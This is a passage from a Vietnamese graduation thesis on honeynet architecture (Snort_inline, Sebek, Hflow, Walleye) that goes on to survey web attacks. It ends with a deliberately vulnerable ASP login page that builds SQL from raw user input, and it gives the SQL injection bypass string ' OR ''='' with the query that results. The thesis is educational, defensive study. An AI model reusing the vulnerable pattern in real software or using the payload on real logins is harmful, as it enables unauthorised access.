thực hiện nhiệm vụ lọc gói tin độc hại. Nhìn vào hình 2.3 – sơ đồ kiểm soát dữ liệu của

Honeynet ở trên ta thấy: Sau khi Hacker tấn công được vào Honeynet, chiếm được quyền

kiểm soát Honeypot thì Hacker sẽ cố gắng tiếp tục sử dụng Honeypot làm công cụ để

thực tấn công các Hệ thống mạng bên ngoài như : tấn công từ trối dịc vụ, tấn công dò

quét hệ thống,….Kết hợp cùng với IPTABLES, Snort đã thực hiện chặn đứng các cố

gắng tấn công này của Hacker bằng cách lọc các gói tin độc hại do Hacker tạo ra. Khi

phát hiện ra gói tin độc hại thì Snort sẽ thay đổi nội dung gói tin thành vô hại hoặc chặn

các gói tin này lại.

Trong hệ thống Honeynet, người ta đã nâng cấp chức năng của Snort lên một mức

cao hơn là Snort_inline. Snort_inline cải tiến hơn so với Snort ở chỗ: nó chỉ thanh tra nội

dung các gói tin sau khi đã đi qua Iptables (Trong khi đó, Snort lại lắng nghe các gói tin

trên interface được chỉ định và dựa vào các luật đã được thiết lập sẵn cho phép xác định

có sự xâm nhập hay phá hoại...Vì nó lắng nghe tất cả các packet đến nên việc xử lý khá

chậm). Điều này làm cho giảm bớt số lượng các gói tin cần xử lý và tăng tốc độ xử lý.

Tường lửa IPtables cho các gói tin đi qua vào hàng đợi (QUEUE) và Snort_inline mở 33

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 34: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

từng gói tin để “kiểm tra” và “tẩy rửa” các gói tin.Và Hình 2.4 dưới đây sẽ cho chúng ta

thấy rõ quá trình hoạt động này của Snort_inline:

Hình 2.9 - Quá trình hoạt động này của Snort_inline

Cơ chế loại bỏ gói tin: Hình 2.5 dưới đây cho thấy: trên đường đi của các gói tin từ

Honeypot ra bên ngoài thì phải đi qua được sự kiểm tra của tường lửa IPTABLES; cụ thể

ở đây, IPTABLES sử dụng các luật của mình để kiểm tra tính hợp lệ của gói tin. Sau đó,

IPTABLES đưa các gói tin hợp lệ vào hàng đợi để tiếp tục được Snort_inline kiểm tra

một lần nữa. Snort sẽ thanh tra nội dung các gói tin này và so sánh với các mẫu tấn công

đã được lưu trong cơ sở dữ liệu. Khi phát hiện thấy có dấu hiệu tấn công thì Snort sẽ gửi

yêu cầu IPtables chặn gói tin này lại không cho ra bên ngoài.

Biện pháp này thực hiện đơn giản song kém linh hoạt dễ gây nghi ngờ cho hacker.

34Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 35: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 2.10 - Cơ chế làm việc của Snort_inline

Cơ chế thay thế gói tin: cơ chế này cơ bản cũng giống như cơ loại bỏ gói tin, chỉ

khác ở chỗ: khi phát hiện ra tấn công, thay vì gửi yêu cầu tới IPtables chặn và loại bỏ gói

tin thì Snort_inline sẽ thay thế, sửa chữa nội dung bên trong gói tin khiến nó vô hại đối

với hệ thống bên ngoài. Snort_inline sẽ thay đổi một vài byte bên trong đoạn mã khai

thác, làm mất hiệu lực chức năng của nó và cho phép nó tiếp tục đi ra ngoài. Hacker sẽ

thấy cuộc tấn công được phát động như ý muốn. Biện pháp này cho phép chúng ta giành

được quyền kiểm soát hành vi của kẻ tin tặc tốt hơn đồng thời nó cũng hết sức linh hoạt

khiến hacker khó phát hiện hơn.

Tóm lại: Module điều khiển dữ liệu có vai trò hết sức quan trọng của Honeynet, thực hiện

kiểm soát dữ liệu đi ra bên ngoài hệ thống, kiểm soát hoạt động của kẻ tấn công, giúp

ngăn chặn kẻ tấn công sử dụng hệ thống mạng Honeynet để tấn công hay gây tổn hại cho

các hệ thống bên ngoài khác.

2.2. Module thu nhận dữ liệu

2.2.1. Vai trò - nhiệm vụ của Module thu nhận dữ liệu

Thu nhận dữ liệu nhằm khám phá ra kỹ thuật xâm nhập, tấn công, công cụ và mục

đích của hacker. Đồng thời phát hiện ra các lỗ hổng hệ thống. Đóng vai trò vô cùng quan

trọng trong Honeynet, không có module thu nhận dữ liệu thì Honeynet sẽ không thể thực

hiện mục đích triển khai – xây dựng của mình, không có giá trị.35

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 36: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Module thu nhận dữ liệu thực hiện giám sát và ghi lại các hành vi của kẻ tấn công

bên trong Honeyney. Những hành vi đó được tổ chức thành những dữ liệu cơ sở và là cốt

lõi của việc nghiên cứu và phân tích. Để có nhiều dữ liệu thu nhận và để thu thập đầy đủ

thông tin, chi tiết của các hành vi của kẻ tấn công thì cần phải có nhiều cơ chế thu nhận

dữ liệu khác nhau.

Module này sử dụng nhiều cơ chế khác nhau để thu nhận nhiều loại dữ liệu khác

nhau. Việc thu nhận dữ liệu có thể được thực hiện bằng nhiều phương thức như:

* Thu nhận dữ liệu từ tường lửa

* Thu nhận dữ liệu từ luồn dữ liệu mạng

* Thu nhận dữ liệu từ hoạt động của honeypot trong hệ thống

Để đảm bảo Honeynet hoạt động tốt thì yêu cầu đối với modul thu nhận dữ liệu

* Thu nhận càng nhiều dữ liệu càng tốt

* Đảm bảo tính chính xác, sẵn sàng

* Che dấu đối với hacker

2.2.2. Cơ chế thu nhận dữ liệu

Nhằm đáp ứng các yêu cầu của việc thu nhận dữ liệu, Module thu nhận dữ liệu

thực hiện thu nhận dữ liệu trong Honeynet dựa trên ba tầng :

+ Thu nhận từ tường lửa (sử dụng nhật ký của tường lửa – Firewall Log).

+ Thu nhận từ luồng mạng (nhờ công cụ Snort).

+ Thu nhận từ hoạt động Honeypot trong hệ thống (nhờ vào Sebek client –server).

Chúng ta sẽ thấy rõ ba cơ chế này qua sơ đồ thu nhận dữ liệu dưới đây:

36Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 37: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 2.11 - Sơ đồ thu nhận dữ liệu

a) Thu nhận dữ liệu từ Firewall

Firewall cho phép thu nhận dữ liệu rất tốt bởi vì tất cả luồng dữ liệu đều phải qua nó.

Các thông tin mà Firewall ghi lại bao gồm :

* Địa chỉ IP nguồn của gói tin (có thể địa chỉ IP của máy tính Hacker).

* Địa chỉ IP đích của gói tin (thường là địa chỉ của các Honeypot).

* Giao thức truyền thông được sử dụng (thường là các giao thức truyền thông của các

dich vụ mạng mà Honeypot được xây dựng để Hacker tấn công).

* Cổng nguồn của gói tin

* Cổng đích của gói tin ( thường là số cổng của các giao thức mạng mà Honeynet mở

để cho phép Hacker tấn công).

* Thời điểm diễn ra cuộc tấn công (dựa trên tem thời gian của gói tin).

Dưới đây là một phần thông tin của file nhật ký (log) trên firewall, ghi lại đầy đủ các

thông tin trên :

37Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 38: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 2.12 - Nhật ký sử dụng thu nhận dữ liệu trên Honeynet

b)Thu nhận dữ liệu từ luồng dữ liệu mạng

Thu nhận dữ liệu từ luồng dữ liệu mạng thực hiện thu nhận mọi gói tin với đầy đủ

nội dung payload của gói tin đi vào hay đi ra hệ thống Honeynet. Trong Honeynet tầng

thu nhận dữ liệu này được thực hiện bởi Snort (tích hợp vào trong Honeywall) được cấu

hình ở chế độ thu nhận tất cả các gói tin trong mạng (thực hiện lắng nghe trên Interface

của mạng).

Snort thực hiện việc thu nhận gói tin trong mạng thông qua công cụ hỗ trợ Libpcap

(trên Linux) hoặc Winpcap (trên Window) để bắt các gói tin. Vai trò quan trọng nhất của

Snort là thu nhận tất cả luồng dữ liệu mạng vào-ra hệ thống Honeynet. Snort được sử

dụng để bắt và ghi nhận mọi gói tin và payload của gói tin trên đường truyền.

Như sơ đồ thu nhận dữ liệu ở hình 2.7, ta thấy : Snort thực hiện lắng nghe trên toàn

mạng để bắt giữ và thanh tra nội dung của tất cả các gói tin qua nó.

c)Thu nhận dữ liệu từ hoạt động trên các Honeypot

Nhiệm vụ của modul thu nhận dữ liệu là ghi lại toàn bộ các hoạt động của hacker

tương tác với hệ thống Honeynet. Chúng ta có thể chia các hoạt động tương tác thu thập

thông tin thành 4 mức sau:

* Hoạt động mức mạng

* Hoạt động mức hệ thống

* Hoạt động mức ứng dụng

38Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 39: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

* Hoạt động mức người dùng

Hai tầng thu nhận dữ liệu được trình bày ở trên (thu nhận dữ liệu từ tường lửa và

thu nhận dữ liệu từ luồng mạng) thực hiện thu nhận được các hoạt động mức mạng. Tầng

thu nhận dữ liệu thứ 3 này sẽ thu nhận: các hoạt động mức hệ thống, hoạt động mức ứng

dụng và hoạt động mức người dùng. Đây chính là tầng thu nhận dữ liệu chủ yếu trong

Honeynet.

Để thu nhận được dữ liệu từ các Honeypot, Honeynet đã sử công cụ Sebek client –

server thực hiện công việc này. Trong đó, Sebek server đã tích hợp trong Honeywall, còn

Sebek client là một chương trình hoạt động như một rookit, được cài đặt trên Honeypot,

có khả năng ẩn các tiến trình, file, và cả dữ liệu trong registry (với Windows), ghi lại các

thông số về kết nối mạng; thực hiện giám sát tất cả các hoạt động, các kết nối mạng của

Honeypot, và báo cáo gửi các thông tin thu thập được về Sebek server.

Tóm lại: Sebek là công cụ ghi lại các hoạt động của hacker trên các Honeypot, ghi

lại các “keystroke” của hacker, hoạt động theo mô hình client-server.

Mô hình hoạt động của Sebek:

Dưới đây là mô hình hoạt động của Sebek:

Hình 2.13 - Mô hình hoạt động của Sebek

39Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 40: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Sebek hoạt động theo mô hình client–server. Theo mô hình này, thành phần Sebek

client được cài đặt trên các Honeypot, còn thành phần Sebek server thì được tích hợp sẵn

trên Honeywall. Khi kẻ tấn công thực hành vi xâm nhập vào các Honeypot thì Sebek

client sẽ thu thập toàn bộ các thông tin về hoạt động của Hacker và gửi về Sebek server ở

Honeywall. Và tại đây, các thông tin thu thập được sẽ được đem ra để phân tích.

Tiếp theo, chúng ta sẽ tiếp tục tìm hiểu chi tiết về vai trò, hoạt động của từng thành

phần Sebek client và Sebek server.

Sebek client :

* Sebek client sử dụng kỹ thuật rootkit, tức là Sebek client hoạt động như một rootkit,

có khả năng ẩn các tiến trình, file, và cả dữ liệu trong registry (với Windows), ghi lại các

thông số về kết nối mạng; thực hiện giám sát tất cả các hoạt động, các kết nối mạng của

các Honeypot.

* Sebek client được cài đặt trên các Honeypot và nằm hoàn toàn trong nhân của hệ

điều hành. Gồm có cả phiên bản cho window (Sebek-Win32-3.0.4.zip) và cho cả Linux

(sebek-linux-3.0.3).

* Sebek client thực hiện các nhiệm vụ sau:

- Thu nhận dữ liệu:

o Bắt toàn bộ dữ liệu hoạt động thông qua hàm read()

o Thay thế hàm read() trong System Call Table bằng hàm read() mới

o Hàm read() mới gọi hàm read cũ đồng thời sao dữ liệu vào bộ đệm gói tin

o Thêm header vào và gửi tời Sebek Server

Chúng ta sẽ thấy rõ quá trình thu nhận dữ liệu này của Sebek client ở hình dưới đây:

40Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 41: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 2.14 - Sebek client thu nhận dữ liệu

- Truyền gói tin tới Sebek Server:

Sau khi thu thập được dữ liệu thì Sebek client sẽ gửi các dữ liệu này Sebek server

ở trên Honeywall.

Để gửi dữ liệu về Sebek server thì Sebek client đóng gói các dữ liệu thành các gói

tin sebek. Các gói tin sebek này đều có đặc điểm là chúng đều có chung một địa chỉ IP

mạng đích, địa chỉ IP này là tham số bắt tay liên lạc giữa Sebek client và sebek server;

nói cách khác : địa chỉ IP đích trên tất cả các gói tin sebek chính là tham số giúp

Honeywall nhận ra các gói tin sebek để bắt giữ các gói tin sebek này. Địa chỉ IP này được

khai báo khi cài đặt Honeywall và cả khi cài đặt Sebek client trên Honeypot. Theo mặc

định, honeywall đặt IP cho địa chỉ là : 10.0.0.253. Tuy nhiên, ta có thể đổi bằng một địa

chỉ IP khác. Để thấy rõ điều này, chúng ta có thể xem phần cấu hình – cài đặt Honeywall

và cài đặt Sebek client ở chương IV.

Sebek Server :

* Sebek server được cài đặt và cấu hình trên Honeywall, thực hiện nhiệm vụ nhận dữ

liêu thu thập được được gửi từ Sebek client về.

* Sebek server sử dụng các công cụ:

- Công cụ sbk_extract để thực hiện trích rút dữ liệu sebek từ luồng dữ liệu mạng.

- Công cụ sbk_ks_log.pl trích rút “keystroke” đưa ra đầu ra chuẩn.

41Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 42: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

- Công cụ sbk_upload.pl tải đưa liệu sebek vào cơ sở dưc liệu.

Tóm lại : Module thu nhận dữ liệu thực hiện nhiệm vụ thu nhận dữ liệu nhằm

khám phá ra các kỹ thuật xâm nhập, tấn công, công cụ và mục đích của hacker. Đồng thời

phát hiện ra các lỗ hổng hệ thống. Đóng vai trò vô cùng quan trọng trong Honeynet,

không có module thu nhận dữ liệu thì Honeynet sẽ không thể thực hiện mục đích triển

khai – xây dựng của mình, không có giá trị.

2.3. Modul phân tích dữ liệu

2.3.1. Vai trò

Vai trò của module phân tích dữ liệu trong Honeynet nhằm hỗ trợ người phân thích

thực hiện việc sàng lọc, thu gọn dữ liệu nhằm loại bỏ những dữ liệu dư thừa, để dễ dàng

tìm ra mối tương quan giữa các dữ liệu nhằm phát hiển ra vấn đề trọng tâm cần phần tích

(như dữ liệu liên quan đến quá trình tấn công, xâm nhập hay hoạt động bất hợp pháp của

hacker). Hỗ trợ phân tích dữ liệu thu nhận được nhằm đưa ra: kỹ thuật, công cụ và mục

đích tấn công của hacker. Từ đó giúp người quản trị đưa ra các biện pháp phòng chống

kịp thời.

Đối với hệ thống Honeynet, nếu kẻ tấn công sử dụng Kỹ thuật tấn công mới hay

công cụ tấn công mới thì Honeynet lưu giữ lại toàn bộ các dữ liệu về quá trình thực hiện

tấn công này của Hacker. Do đó, người quản trị có thể sử dụng các dữ liệu này để phân

tích và đưa ra cơ chế, mục đích, công cụ, phương pháp của cuộc tấn công thậm chí có thể

xây dựng các mẫu tấn công mới để cập nhật cho hệ thống IDS giúp cho IDS phát hiện ra

tấn công mới này nếu tiếp tục gặp lại ở lần sau.

Honeyney cung cấp cho chúng ta một số công cụ như Hflow, Walleye để hỗ trợ

người quản trị dễ dàng phân tích, tìm ra cơ chế, mục đích, công cụ và phương pháp tấn

công của hacker.

2.3.2. Cơ chế phân tích dữ liệu

Honeynet hỗ trợ hai công cụ sau để thực hiện quá trình phân tích dữ liệu :

* Một là Hflow: có khả năng tự động kết hợp dữ liệu

42Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 43: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

* Hai là Walleye: có khả năng báo cáo, thống kê thông qua giao diện web thân

thiện với người dùng.

Cả hai công cụ này đều được tích hợp sẵn trên Honeywall.

Dưới đây là Sơ đồ kiến trúc Honeywall :

Hình 2.15 - Sơ đồ kiến trúc Honeywall

Theo sơ đồ kiến trúc này thì quá trình Hflow và Walleye thực hiện phân tích dữ liệu như

sau :

Hflow:

Hflow có nhiệm vụ kết hợp dữ liệu từ module thu nhận dữ liệu gửi về, chuẩn hóa dữ

liệu sau đó lưu vào cơ sở dữ liệu (ở đây là My SQL).

Hflow tự động xác định :

- Hệ điều hành khởi tạo kết nối mạng.

- Sự kiện IDS liên quan đến kết nối mạng.

- Sự kiện IDS liên quan đến tiến trình và người dùng trên Honetpot.

- Danh sách các tệp liên quan đến cuộc tấn công.

43Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 44: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Walleye :

Walleye có nhiệm vụ lấy dữ liệu thu thập được đã được Hflow chuẩn hóa trong Cơ sơ

dữ liệu để cung cấp cho người phân tích thông qua giao diện web.Nhờ vậy, mà người

phân tích có thể nắm được khung cảnh chung các hoạt động hệ thống, nắm được chi tiết

các hoạt động trong mạng.

Dưới đây là giao diện của Walleye:

Hình 2.16 - Giao diện của Walleye

Tóm lại : Module này có nhiệm vụ hỗ trợ người phân thích thực hiện việc sàng

lọc, thu gọn dữ liệu nhằm loại bỏ những dữ liệu dư thừa, hỗ trợ phân tích dữ liệu thu

nhận được nhằm đưa ra: kỹ thuật, công cụ và mục đích tấn công của hacker. Từ đó giúp

người quản trị đưa ra các biện pháp phòng chống kịp thời.

Kết luận: Ở chương này, Chuyên đề đã trình bày về mô hình kiến trúc và nguyên lý hoạt

động của Hệ thống Honeynet. Qua đó, giúp chúng ta hiểu sâu hơn về quá trình làm việc,

hoạt động của Honeynet.

44Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 45: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Chương III – MỘT SỐ KỸ THUẬT TẤN CÔNG DỊCH VỤ WEB

Ngày nay, khi Internet được phổ biến rộng rãi, các tổ chức, cá nhân đều có nhu cầu

giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch

trực tuyến. Vấn đề nảy sinh là khi phạm vi ứng dụng của các ứng dụng Web ngày càng

mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều

người tấn công với các mục đích khác nhau. Đôi khi, cũng chỉ đơn giản là để thử tài hoặc

đùa bỡn với người khác.

Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số

lượng các vụ tấn công trên Internet cũng tăng theo cấp số nhân. Trong khi các phương

tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy nhập thông tin

của Internet, thì các tài liệu chuyên môn bắt đầu đề cập nhiều đến vấn đề bảo đảm và an

toàn dữ liệu cho các máy tính được kết nối vào mạng Internet.

Có 64,2 triệu lượt máy tính tại Việt Nam bị nhiễm virus là tổng kết năm 2011 từ

Hệ thống giám sát virus của Bkav. Trung bình một ngày đã có hơn 175 nghìn máy tính bị

nhiễm virus. Năm 2011, đã có 38.961 dòng virus xuất hiện mới, lây lan nhiều nhất là

virus W32.Sality.PE. Virus này đã lây nhiễm trên 4,2 triệu lượt máy tính.

Ngay ở Việt Nam ta, theo bản tổng kết tình hình an ninh mạng tại Việt Nam trong

năm 2007 của Trung tâm An ninh mạng BKIS cho thấy : Việt Nam có 342 Website bị tấn

công, trong đó có 118 Website do Hacker trong nước và 224 website là do Hacker nước

ngoài thực hiện. Và gần đây nhất là vụ tấn công website và đoạt tên miền của Công ty

chuyên cung cấp hosting Pavietnam, đã khiến cho không chỉ riêng Website của công ty

này mà còn ảnh hưởng tới hàng nghìn website của các công ty khác đã thuê hosting ở

PAvietnam.

Năm 2011 là năm của các cuộc tấn công mạng. Liên tiếp xảy ra các cuộc tấn công

với các hình thức khác nhau vào hệ thống của các tổ chức, doanh nghiệp tại Việt Nam.

Có những cuộc tấn công xâm nhập trái phép phá hoại cơ sở dữ liệu hoặc deface các

website. Cũng có những cuộc tấn công DDoS làm tê liệt hệ thống trong thời gian dài. Tấn

công cướp tên miền của các doanh nghiệp cũng đã diễn ra liên tiếp. Nguy hiểm hơn, đã

xuất hiện nhiều cuộc tấn công âm thầm, cài đặt các virus gián điệp đánh cắp tài liệu của

các cơ quan quan trọng.45

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 46: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Các vụ tấn công xảy ra phần lớn có nguyên nhân từ nhận thức của lãnh đạo các cơ

quan, doanh nghiệp về tầm quan trọng của an ninh mạng, dẫn đến sự đầu tư dàn trải,

thiếu một giải pháp tổng thể cho an toàn an ninh hệ thống.

Đáng chú ý trong năm 2011 là sự việc hơn 85.000 máy tính tại Việt Nam bị cài

virus Ramnit để lấy cắp dữ liệu quan trọng. Điều này cho thấy các cuộc tấn công còn có

thể gây ảnh hưởng đến an ninh quốc gia. Không chỉ tại Việt Nam, hệ thống botnet này

còn được hacker điều khiển thông qua nhiều máy chủ đặt ở Mỹ, Nga, Đức và Trung Quốc

để lấy cắp thông tin trên toàn cầu. Đây là tình trạng phổ biến trên thế giới trong năm

2011.

Theo như tổ chức Web Hacking Incident Database đưa ra số liệu cho năm

2011(WHID) cho thấy tồn tại rất nhiều phương pháp tấn công khác nhau, Nhưng SQL

Injection và XSS là phổ biến nhất. Có đến 18,87% là các cuộc tấn công nhằm vào lỗ

hổng SQL Injection, 12,58% là XSS. Ngoài ra còn có 8.06% là tấn công từ chối dịch vụ

và rất nhiều các cuộc tấn công khác.

Hình 2 17 – Cách phương thức tấn công năm 2011

Trong phạm vi của Đồ án “Nghiên cứu Hệ thống Honeypot, Honeynet nhằm mục

đích thu thập các kỹ thuật tấn công dịch vụ Web”, chương này sẽ trình bày một số kỹ

thuật tấn công dịch vụ web phổ biến hiện nay để chúng ta có thể dễ dàng hiểu, nhận ra

46Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 47: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

được các kỹ thuật, các thủ thuật tấn công web khi Hacker tấn công vào Hệ thống

Honeynet của chúng ta. Qua đó, chúng ta đưa ra các biện pháp phòng chống, bảo vệ cho

dịch vụ web.

1. Các kỹ thuật tấn công cơ bản.

1.1. Các nguy cơ mất an toàn dịch vụ web

Dưới đây là giới thiệu sơ lược các nguy cơ mất an toàn, các kĩ thuật tấn công Web

đã được phân loại dựa trên mức độ gây tác hại đối với ứng dụng, với người dùng.

1.1.1. Chiếm hữu phiên làm việc (Session Mangement)

Kỹ thuật này được chia làm hai loại :

1.1.1.1. Ấn định phiên làm việc( Session Fixation)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi

một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành

công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ.

1.1.1.2. Đánh cắp phiên làm việc (Session Hijacking)

Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn

nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong

cookie hay tham số URL, biến ẩn của form.

1.1.2. Lợi dụng việc thiếu sót trong việc kiểm tra dữ liệu nhập hợp lệ (Input

validation)

Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ

thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.

1.1.2.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt

(Client-Side validation)

Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình

duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra.

1.1.2.2. Tràn bộ đệm (Buffer OverFlow)

Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp

phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó

47Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 48: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng

dụng được cấu hình để thực thi với quyền root trên hệ thống.

1.1.2.3. Vượt qua đường dẫn (Path Traversal)

Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả

về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống.

1.1.2.4. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross- Site Scripting)

Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng

hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập

trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc

đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng

dụng…dựa trên những thông tin đánh cắp này. Cross-Site scripting cũng là một kiểu tấn

công “session hijacking”.

1.1.2.5. Chèn câu truy vấn SQL (SQL Injection)

Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra

giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị

không hợp lệ để dễ dàng đăng nhập vào hệ thống.

1.1.3. Từ Chối Dịch Vụ (Denial of service (DoS)

Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian

nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ.

Vì khuôn khổ và thời gian của Đồ án là có hạn nên Đồ án chỉ thực hiện tìm hiểu

một số kĩ thuật tấn phổ biến và có khả năng phá hoại một hệ thống mạng với mức độ cao.

Và trong các chương ở phần thứ hai, luận văn sẽ trình bày kĩ hơn từng kĩ thuật sau :

Tấn công SQL Injection

Tấn công Cross-site Scripting (XSS)

Tấn công Từ chối dịch vụ (DoS)

1.2. Tấn công SQL Injection

1.2.1. Khái niệm SQL Injection

Khi triển khai các ứng dụng web trên internet, nhiều người vẫn nghĩ rằng việc đảm

bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công bởi các tin tặc chỉ đơn

thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở dữ liệu, 48

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 49: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

webserver để chạy ứng dụng …mà quên mất rằng ngay cả bản thân ứng dụng chạy trên

đó cũng tiềm ẩn lỗ hổng bảo mật rất lớn. Một trong các lỗ hổng này là SQL Injection. Tại

Việt Nam, đã qua thời kỳ các quản trị website lơ là việc quét virus, cập nhật các bản vá

lỗi từ các phần mềm hệ thống nhưng việc chăm sóc các lỗi của các ứng dụng lại rất ít

được quan tâm. Đó là lý do vì sao trong thời gian vừa qua, không ít các website tại Việt

Nam bị tấn công và đa số đều là SQL Injection. Vậy SQL Injection là gì?

SQL injection là một kĩ thuật cho phép những kẻ tấn công ( Hacker) lợi dụng lỗ

hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của

hệ quản trị cơ sở dữ liệu để "tiêm vào" và thi hành các câu lệnh SQL bất hợp pháp (không

được người phát triển ứng dụng lường trước). Hậu quả của nó rất tai hại cho phép những

kẻ tấn công chiếm quyền kiểm soát web. Lỗi này thường xảy ra trên các ứng dụng web có

dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle,

DB2, Sysbase.

Về bản chất, đây là lỗi tồn tại trong Các hệ quản trị cơ sở dữ liệu ( SQL server,

MySQL, Oraccle ….). Tuy nhiên, chúng ta có thể khắc phục lỗi này bằng cách kiểm tra

dữ liệu được nhập vào trên ứng dụng Web.

1.2.2. Các dạng tấn công thường gặp

1.2.2.1. Dạng tấn công vượt qua kiểm tra đăng nhập

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ

vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.Xét một

ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được

bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông

tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ

kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ

chối thực hiện tiếp. Trong trường hợp này, người ta có thể dùng hai trang, một trang

HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập từ phía

người dùng.

Ví dụ:

login.htm

<form action="ExecLogin.asp" method="post"> 49

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 50: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Username: <input type="text" name="fUSRNAME"><br>

Password: <input type="password" name="fPASSWORD"><br>

<input type="submit">

</form>

execlogin.asp

<%

Dim vUsrName, vPassword, objRS, strSQL

vUsrName = Request.Form("fUSRNAME")

vPassword = Request.Form("fPASSWORD")

strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME=' "

& vUsrName & _ " ' and USR_PASSWORD=' " & vPassword & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open

strSQL, "DSN=..."

If (objRS.EOF) Then

Response.Write "Invalid login."

Else

Response.Write "You are logged in as " & objRS("USR_NAME")

End If

Set objRS = Nothing

%>

Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa bất cứ một

lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng nhập và

mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi

SQL injection.

Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây

dựng trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều

khiển câu truy vấn sẽ được thực hiện.

50Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 51: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Ví dụ: nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu

username/password của trang login.htm là: ' OR ' ' = ' '.

Lúc này, câu truy vấn sẽ được gọi thực hiện là:

SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and

USR_PASSWORD= '' OR ''=''

